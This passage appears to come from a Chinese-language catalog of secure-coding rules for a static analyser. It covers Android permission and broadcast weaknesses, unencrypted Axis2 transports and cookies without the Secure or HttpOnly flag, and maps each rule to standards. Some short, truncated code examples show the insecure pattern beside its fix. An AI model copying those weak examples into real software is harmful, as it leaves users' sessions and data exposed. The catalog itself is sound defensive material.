[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Android Bad Practices: Sticky Broadcast
ABSTRACT
程序会发送粘滞广播。
EXPLANATION
粘滞广播不能使用权限来保护,因此可供任何接收者访问。如果这些广播包含敏感数据或发送到恶意接收者,可能会对应用程序造成危害。
例 1:下列代码会发送粘滞广播。
1 | ... |
RECOMMENDATIONS
由于粘滞广播无法使用权限来保护,因此只能在特殊情况下使用。重新评估使用粘滞广播的意图,了解所需的行为是否可以通过受接收者权限保护的常规广播来实现。这样可以限制仅为具有所需权限的接收者显示广播数据。此外,还应该详细审查广播消息中包含的数据。
例 2:以下代码会发送常规广播并明确指定所需的接收者权限。
1 | ... |
REFERENCES
[1] Using Permissions
[2] Jesse Burns Developing Secure Mobile Applications for Android
[3] William Enck, Machigar Ongtang, and Patrick McDaniel Understanding Android Security
[4] William Enck and Patrick McDaniel Understanding Android’s Security Framework
[5] Standards Mapping - Common Weakness Enumeration CWE ID 265
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[9] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6, Requirement 7.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[18] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[19] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Android Bad Practices: System Permission Defined
ABSTRACT
程序定义了对 android.permission 命名空间的新权限。
EXPLANATION
如果定义了对 android.permission 命名空间的新权限,可能会在更新操作系统时产生意外的后果。如果较新版本的操作系统定义了完全相同的权限,Android 包管理服务 (PMS) 会无提示授予对应用程序的权限,而不要求用户允许权限提升攻击。
RECOMMENDATIONS
在 android.permission 命名空间以外使用权限。
REFERENCES
[1] Luyi Xing, Xiaorui Pan, Rui Wang, Kan Yuan and XiaoFeng Wang Upgrading Your Android, Elevating My Malware: Privilege Escalation Through Mobile OS Updating
[2] Standards Mapping - Common Weakness Enumeration CWE ID 265
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[14] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[15] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Android Bad Practices: Unnecessary Component Exposure
ABSTRACT
尽管没有必要,但此接收者组件可供第三方组件访问,从而增加了恶意信息注入的风险。
EXPLANATION
由于此组件只应接受系统而非其他组件的广播消息,因而它应是专用的(其他组件无法访问)。
RECOMMENDATIONS
将 android:exported 标记设为 ‘false’ 并将 android:enabled 标记设为 ‘true’。通过这样设置,可以使组件接收系统广播而非第三方广播(无论显式还是隐式消息状态)。
REFERENCES
[1] E. Chin, A. P. Felt, K. Greenwood, and D. Wagner Analyzing Inter-Application Communication in Android
[2] Standards Mapping - Common Weakness Enumeration CWE ID 265
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2010 - (OWASP 2010) A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[16] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Android Bad Practices: Weak Authentication
ABSTRACT
程序利用专用和/或设备特定信息来生成通用的唯一标识符。
EXPLANATION
在完全进行数据擦除和恢复出厂重置后,硬件和设备特定标识符仍会存在。因此不应依靠此类信息生成用来授权或验证用户的唯一标识符。
不仅如此,由于通用的唯一标识符与个人信息是在一起的,因而泄漏后会给用户隐私和安全带来威胁。
RECOMMENDATIONS
不要用与个人信息有关的敏感或设备特定信息来创建通用的唯一标识符或全局唯一标识符。由于设备标识符即使在数据擦除和恢复出厂设置时仍会存在,因而不应用设备标识符进行访问验证或授权。
而是应创建不会透露任何个人信息且在恢复出厂设置时不再存在的大型的、唯一的号码。
REFERENCES
[1] Designing for Security Android
[2] OWASP Top 10 Mobile Risks OWASP
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 287
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[17] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001650 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001650 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001650 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Android Bad Practices: normal Permission
ABSTRACT
程序声明具有 normal 保护级别的权限。
EXPLANATION
声明自定义权限时,共有四个选项可用于指定权限的保护级别:normal、dangerous、signature 和 signature or system。Normal 权限会授予请求这些权限的任何应用程序。Dangerous 权限仅在用户确认后授予。Signature 权限仅授予由定义此权限的程序包所用的同一开发者密钥签名的应用程序。Signature or system 权限与 signature 权限类似,但也会授予 Android 系统映像中的程序包。
例 1:下面是声明为具有 normal 保护级别的自定义权限示例。
1 | <permission android:name="custom.PERMISSION" |
RECOMMENDATIONS
由于恶意应用程序可以请求不利的权限(例如会导致将隐私信息泄露给攻击者的权限),因此定义 normal 保护级别的权限绝对不是明智之举。相反,应该定义 dangerous 权限并为用户详细介绍这类权限,以便用户了解即将安装的应用程序所请求的权限类别。或者进一步定义 signature 权限,将此权限仅授予应该不会有任何危害的应用程序。
例 2:下面是上文中声明为具有 dangerous 保护级别的自定义权限示例。
1 | <permission android:name="custom.PERMISSION" |
REFERENCES
[1] Permission Element
[2] Using Permissions
[3] Jesse Burns Developing Secure Mobile Applications for Android
[4] William Enck, Machigar Ongtang, and Patrick McDaniel Understanding Android Security
[5] William Enck and Patrick McDaniel Understanding Android’s Security Framework
[6] Standards Mapping - Common Weakness Enumeration CWE ID 265
[7] Standards Mapping - FIPS200 AC
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[10] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[18] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[19] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Axis 2 Misconfiguration: Insecure Transport Receiver
ABSTRACT
此配置应确保访问敏感信息时必须使用 SSL。
EXPLANATION
如果处理敏感信息的应用程序不使用消息级加密方式,则应只允许其通过加密的传输通道进行通信。
RECOMMENDATIONS
确保禁用 HTTP 传输,而启用 HTTPS 传输。
例如,将 name 属性设为 https,例如:
1 | <transportReceiver name="https" class="org.apache.axis2.transport.http.SimpleHTTPServer"> |
REFERENCES
[1] HTTP Transport Apache Software Foundation
[2] Axis2 Configuration Guide Apache Software Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Misconfiguration: Insecure Transport Sender
ABSTRACT
此配置应确保访问敏感信息时必须使用 SSL。
EXPLANATION
如果处理敏感信息的应用程序不使用消息级加密方式,则应只允许其通过加密的传输通道进行通信。<transportSender>
标签不应指定 http,因为与该 URL 之间的通信不会被加密。
RECOMMENDATIONS
确保禁用 HTTP 传输,而启用 HTTPS 传输。 例如,将 name 属性设为 https,例如:
1 | <transportSender name="https" class="org.apache.axis2.transport.http.CommonsHTTPTransportSender"> |
REFERENCES
[1] HTTP Transport Apache Software Foundation
[2] Axis2 Configuration Guide Apache Software Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Cookie Security: Cookie not Sent Over SSL
ABSTRACT
创建了 cookie,但未将 secure 标记设置为 true。
EXPLANATION
现今的 Web 浏览器支持每个 cookie 的 secure 标记。如果设置了该标记,那么浏览器只会通过 HTTPS 发送 cookie。通过未加密的通道发送 cookie 将使其受到网络截取攻击,因此安全标记有助于保护 cookie 值的保密性。如果 cookie 包含私人数据或带有会话标识符,那么该标记尤其重要。
例 1:在下面的示例中,在未设置 secure 标记的情况下将 cookie 添加到响应中。
1 | Cookie cookie = new Cookie("emailCookie", email); |
如果应用程序同时使用 HTTPS 和 HTTP,但没有设置 secure 标记,那么在 HTTPS 请求过程中发送的 cookie 也会在随后的 HTTP 请求过程中被发送。通过未加密的无线连接截取网络信息流对攻击者而言十分简单,因此通过 HTTP 发送 cookie(特别是具有会话 ID 的 cookie)可能会危及应用程序安全。
RECOMMENDATIONS
对所有新 cookie 设置 Secure 标记,指示浏览器不要以明文形式发送这些 cookie。可通过调用 setSecure(true) 完成此配置。
例 2:
1 | Cookie cookie = new Cookie("emailCookie", email); |
REFERENCES
[1] Class Cookie Sun Microsystems
[2] Mike Perry Automated HTTPS Cookie Hijacking
[3] Standards Mapping - Common Weakness Enumeration CWE ID 614
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.7, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002220 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Cookie Security: HTTPOnly not Set
ABSTRACT
程序创建了 cookie,但未能将 HttpOnly 标记设置为 true。
EXPLANATION
所有主要浏览器均支持 HttpOnly cookie 属性,可阻止客户端脚本访问 cookie。Cross-site scripting 攻击通常会访问 cookie,以试图窃取会话标识符或 authentication 标记。如果未启用 HttpOnly,攻击者就能更容易地访问用户 cookie。
示例 1:以下示例中的代码创建 cookie,但没有设置 HttpOnly 属性。
1 | javax.servlet.http.Cookie cookie = new javax.servlet.http.Cookie("emailCookie", email); |
RECOMMENDATIONS
在创建 cookie 时启用 HttpOnly 属性。这可以通过调用(如果是 javax.servlet.http.Cookie)参数为 true 的 setHttpOnly(boolean) 方法实现。
